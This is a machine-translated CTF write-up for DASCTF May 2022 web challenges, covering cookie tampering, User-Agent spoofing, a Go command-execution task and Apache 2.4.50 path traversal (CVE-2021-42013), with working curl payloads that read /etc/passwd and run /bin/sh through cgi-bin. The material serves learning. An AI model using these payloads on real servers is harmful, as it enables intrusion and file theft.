当前位置:网站首页>2022DASCTF MAY
2022DASCTF MAY
2022-07-23 20:16:00 【Occasionally dodge dark clouds 334】
The big guys are trying to , I can't leave it alone. Come on !!!
Power Cookie

Open the interface , Well, log in as a tourist , click
Nothing , Generally, such problems are corrected by grabbing the package ,cookie The value of or x-forwarded-for etc.

Tips admin That's it cookie

Tried it on , Find out cookie admin=1 That's all right.
Magic browser

No idea , Or take a look at the source code

hex code , Decode it ,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
log
Then change the file User-Agent

You can get flag
getme
Open the page <!-- pwd:/usr/local/apache2/ -->, Just this directory information
One word , Mongolia !
then burp Sweep it , Find out 
Search for Apache/2.4.50 (Unix),
Apache HTTP Server 2.4.50 Path traversal and file disclosure vulnerabilities in (CVE-2021-42013)
Exploit poc:
curl -v --path-as-is Destination address : port /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
You can view any file
Indicates that there is a vulnerability
The target server is turned on cgi perhaps cgid When , It can be executed by command
curl -v --data "echo; command " ' Destination address : port /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
perhaps
GET :
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:
echo Content-Type: text/plain; echo;ls / I don't know why ,
No return value , But look at others wp this is it , Then come out the catalogue , Then explore , It could be me burp Something went wrong , debugged .
hackme

Open the interface and find that you can click at the bottom , Click in
It is found that there may be a file in every link , And a command is executed in each corresponding file . Like above whoami、pwd wait .

See this and ,go Language has not been learned yet , Let's have a brief understanding of ,Go Used in language os/exec Five positions for executing commands - You know Need to upload uers file , Then he will go go Parsing
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("ls /") Executed command
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}

Finally found flag, use cat /flag Replace... In the above statement ls / You can find flag. So this question seems to be incomplete go Even if you don't understand go Language , The test is go Script .
The next two questions , Realization is ability , Not enough , Continue to learn
边栏推荐
- 从200W超级闪充看iQOO 10 Pro的 “共情”能量
- Energy principle and variational method note 19: minimum complementary energy principle + possible work principle
- The numerical sequence caused by the PostgreSQL sequence cache parameter is discontinuous with interval gap
- Chinese [easy to understand] cannot be set when installing SVN localization package
- How to solve the problem that the solid state disk cannot be found when installing win11?
- Leetcode 228. summary interval (yes, solved)
- 能量原理与变分法笔记17:广义变分原理(识别因子方法)
- Leetcode 151. invert words in strings
- Win11小组件怎么添加待办事项?Win11添加待办事项小组件的方法
- Dokcer image understanding
猜你喜欢

What if there is no word document in win11? There is no word document solution tutorial in win11
![[unity project practice] level unlocking](/img/14/a12ad9aa7741599222aa4db8688713.png)
[unity project practice] level unlocking

小程序頭像組樣式

Osgearth2.8 compiling silvering cloud effect

Energy principle and variational method note 17: generalized variational principle (identification factor method)

能量原理與變分法筆記19:最小餘能原理+可能功原理

The numerical sequence caused by the PostgreSQL sequence cache parameter is discontinuous with interval gap

Principe de l'énergie et méthode variationnelle note 19: principe de l'énergie résiduelle minimale + principe du travail possible

BM14 链表的奇偶重排

Leetcode 152. 乘积最大子数组(暴力破解居然可以通过!)
随机推荐
Principe de l'énergie et méthode variationnelle note 19: principe de l'énergie résiduelle minimale + principe du travail possible
ODrive应用 #6 编码器
[深入研究4G/5G/6G专题-40]: URLLC-11-《3GPP URLLC相关协议、规范、技术原理深度解读》-5-5G Qos原理与架构: 切片、PDU会话、QosFlow、5QI、DRB
Leetcode 238. product of arrays other than itself
【AR学习】-- 二、 环境搭建
R language uses dwilcox function to generate Wilcoxon rank sum statistical distribution density function data, and uses plot function to visualize Wilcoxon rank sum statistical distribution density fu
MySQL master-slave replication
2022 the fourth China International elderly care service industry exhibition was held in Jinan on September 26
Leetcode 152. product maximum subarray (brute force cracking can actually pass!)
osgearth使用sundog公司的triton海洋和silverlining云彩效果
Introduction to web security SSH testing and defense
The full text of Li Hongzhang's deathbed poem
Leetcode 238. 除自身以外数组的乘积
QT with OpenGL (frame cache)
使用多态时,判断能否向下转型的两种思路
Task03 | return
[PM2] PM2 common commands
Model loading of assimp Library under QT
Reduced order method of linear algebraic determinant calculation method
Debian | Can’t locate Debian/Debhelper/Sequence/germinate.pm in @INC